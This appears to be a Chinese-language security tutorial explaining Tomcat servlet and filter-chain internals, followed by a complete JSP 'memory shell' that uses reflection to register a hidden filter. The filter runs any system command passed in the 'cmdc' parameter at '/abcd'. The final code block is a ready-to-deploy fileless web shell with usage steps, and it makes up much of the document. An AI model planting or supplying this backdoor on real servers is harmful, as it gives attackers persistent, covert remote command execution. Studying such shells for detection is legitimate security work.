0x01 部分名词简介
Servlet
Java Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 Web 浏览器或其他 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。使用 Servlet,您可以收集来自网页表单的用户输入,呈现来自数据库或者其他源的记录,还可以动态创建网页。

Servlet容器
Servlet容器也叫做Servlet引擎,是Web服务器或应用程序服务器的一部分,用于在发送的请求和响应之上提供网络服务,解码基于 MIME的请求,格式化基于MIME的响应。Servlet没有main方法,不能独立运行,它必须被部署到Servlet容器中,由容器来实例化和调用 Servlet的方法(如doGet()和doPost()),Servlet容器在Servlet的生命周期内包容和管理Servlet。在JSP技术 推出后,管理和运行Servlet/JSP的容器也称为Web容器。

Tomcat
Tomcat是一个免费的开放源代码的Servlet容器,Tomcat中有四种类型的Servlet容器,从上到下分别是 Engine、Host、Context、Wrapper。Tomcat服务器接受客户请求并做出响应的过程如下:
1)客户端(通常都是浏览器)访问Web服务器,发送HTTP请求。
2)Web服务器接收到请求后,传递给Servlet容器。
3)Servlet容器加载Servlet,产生Servlet实例后,向其传递表示请求和响应的对象。
4)Servlet实例使用请求对象得到客户端的请求信息,然后进行相应的处理。
5)Servlet实例将处理结果通过响应对象发送回客户端,容器负责确保响应正确送出,同时将控制返回给Web服务器。

Host、Context、Wrapper的关系如下图:
image.png

ServletContext
WEB容器在启动时,它会为每个Web应用程序都创建一个对应的ServletContext,它代表当前Web应用。

Filter
直接借用一张图说明Filter的作用,客户端请求到达服务器时,先到达Listener,之后交给过滤器Filter,过滤器可以有多个,组成FilterChains,最后才到达Servlet。
image.png

0x02 内存马实现
FilterChains
在一个 Web 应用程序中可以注册多个 Filter 程序,每个 Filter 程序都可以对一个或一组 Servlet 程序进行拦截。如果有多个 Filter 对某个 Servlet 程序的访问过程进行拦截,那么当针对该 Servlet 的访问请求到达时,Web 容器将把这多个 Filter 程序组合成一个 Filter 链(也叫过滤器链)。

Filter 链中的各个 Filter 的拦截顺序与它们在 web.xml 文件中的映射顺序一致,上一个 Filter.doFilter() 方法中调用 FilterChain.doFilter() 方法将激活下一个 Filter.doFilter() 方法。

最后一个 Filter.doFilter() 方法中调用的 FilterChain.doFilter() 方法将激活目标 Servlet.service() 方法。

只要 Filter 链中任意一个 Filter 没有调用 FilterChain.doFilter() 方法,则目标 Servlet.service() 方法都不会被执行。

在具体分析流程之前我们先介绍一下后面会遇到的几个类:(最后再来分析一下
FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息
FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter
WebXml:存放 web.xml 中内容的
ContextConfig:Web应用的上下文配置类
StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper
StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet

Tomcat FilterChains的构建过程:
Tomcat首先会读取web.xml文件,根据文件中的配置构建FilterChains。具体流程如下:
1、首先获取当前context,并从context中获取FilterMaps,FilterMaps存放了所有的 Filter的名称和需拦截的url正则表达式。
2、遍历FilterMaps中每一个FilterMap,调用 matchFiltersURL() 这个函数,去确定请求的url和Filter需拦截的正则表达式是否匹配。
3、如果匹配,则通过 context.findFilterConfig() 方法根据 filter 对应的名称去查找 context.filterConfigs中的 filterConfig,随后将 filterConfig 添加到 Filter.chain中,filterConfig 里面包含有 filterDef 对象,而filterDef 对象里面即是真正的 Filter。

整个过程:context->filterConfigs(Map)->filterConfig->filterDef->Filter

根据以上流程开始实现内存马
代码引用自:https://github.com/bitterzzZZ/MemoryShellLearn/blob/main/jsp%E6%B3%A8%E5%85%A5%E5%86%85%E5%AD%98%E9%A9%AC/addfilter.jsp

编写恶意类

class DefaultFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
    }
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        HttpServletRequest req = (HttpServletRequest) servletRequest;
        HttpServletResponse response = (HttpServletResponse) servletResponse;
        if (req.getParameter("cmdc") != null) {
            Runtime.getRuntime().exec(req.getParameter("cmdc"));
            response.getWriter().println("exec done");
        }
        filterChain.doFilter(servletRequest, servletResponse);
    }
    public void destroy() {}
                
}
//获取当前的Context
ServletContext servletContext =  request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context"); 
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); 
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
//获取FilterConfig
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);

//判断Filter名称是否存在,不存在就注入内存马
if (filterConfigs.get(name) == null){
    //恶意类
    DefaultFilter filter = new DefaultFilter();

    //创建一个FilterDef 然后设置我们filterDef的名字,和类名,以及类
    FilterDef filterDef = new FilterDef();
    filterDef.setFilterName(name);
    filterDef.setFilterClass(filter.getClass().getName());
    filterDef.setFilter(filter);

    //调用 addFilterDef 方法将 filterDef 添加到 filterDefs中
    standardContext.addFilterDef(filterDef);

    //创建一个FilterMap,设置filter的名字和对应的urlpattern
    FilterMap filterMap = new FilterMap();
    filterMap.addURLPattern("/abcd");
    filterMap.setFilterName(name);
    filterMap.setDispatcher(DispatcherType.REQUEST.name());

    //将filtermap 添加到 filterMaps 中的第一个位置
    standardContext.addFilterMapBefore(filterMap);

    //利用反射创建 FilterConfig,并且将 filterDef 和 standardCtx(即 Context)作为参数进行传入
    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
    constructor.setAccessible(true);
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
    filterConfigs.put(name, filterConfig);
    out.write("Inject success!");
}

最终代码如下:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import = "org.apache.catalina.Context" %>
<%@ page import = "org.apache.catalina.core.ApplicationContext" %>
<%@ page import = "org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import = "org.apache.catalina.core.StandardContext" %>

<!-- tomcat 8/9 -->
<!-- page import = "org.apache.tomcat.util.descriptor.web.FilterMap"
page import = "org.apache.tomcat.util.descriptor.web.FilterDef" -->

<!-- tomcat 7 -->
<%@ page import = "org.apache.catalina.deploy.FilterMap" %>
<%@ page import = "org.apache.catalina.deploy.FilterDef" %>


<%@ page import = "javax.servlet.*" %>
<%@ page import = "javax.servlet.annotation.WebServlet" %>
<%@ page import = "javax.servlet.http.HttpServlet" %>
<%@ page import = "javax.servlet.http.HttpServletRequest" %>
<%@ page import = "javax.servlet.http.HttpServletResponse" %>
<%@ page import = "java.io.IOException" %>
<%@ page import = "java.lang.reflect.Constructor" %>
<%@ page import = "java.lang.reflect.Field" %>
<%@ page import = "java.lang.reflect.InvocationTargetException" %>
<%@ page import = "java.util.Map" %>


<!-- 1 revise the import class with correct tomcat version -->
<!-- 2 request this jsp file -->
<!-- 3 request xxxx/this file/../abcd?cmdc=calc -->

<%
class DefaultFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
    }
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        HttpServletRequest req = (HttpServletRequest) servletRequest;
        HttpServletResponse response = (HttpServletResponse) servletResponse;
        if (req.getParameter("cmdc") != null) {
            Runtime.getRuntime().exec(req.getParameter("cmdc"));
            response.getWriter().println("exec done");
        }
        filterChain.doFilter(servletRequest, servletResponse);
    }
    public void destroy() {}
                
}
%>


<%
String name = "DefaultFilter";
ServletContext servletContext =  request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context"); 
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); 
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); 
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){
    DefaultFilter filter = new DefaultFilter();
    FilterDef filterDef = new FilterDef();
    filterDef.setFilterName(name);
    filterDef.setFilterClass(filter.getClass().getName());
    filterDef.setFilter(filter);
    standardContext.addFilterDef(filterDef);
    FilterMap filterMap = new FilterMap();
    // filterMap.addURLPattern("/*");
    filterMap.addURLPattern("/abcd");
    filterMap.setFilterName(name);
    filterMap.setDispatcher(DispatcherType.REQUEST.name());
    standardContext.addFilterMapBefore(filterMap);
    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
    constructor.setAccessible(true);
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
    filterConfigs.put(name, filterConfig);
    out.write("Inject success!");
}
else{
    out.write("Injected");
}
%>

参考链接:
https://su18.org/post/memory-shell/#filter-%E5%86%85%E5%AD%98%E9%A9%AC
https://github.com/bitterzzZZ/MemoryShellLearn
https://blog.csdn.net/localhost01/article/details/107340698
http://wjlshare.com/archives/1529

Q.E.D.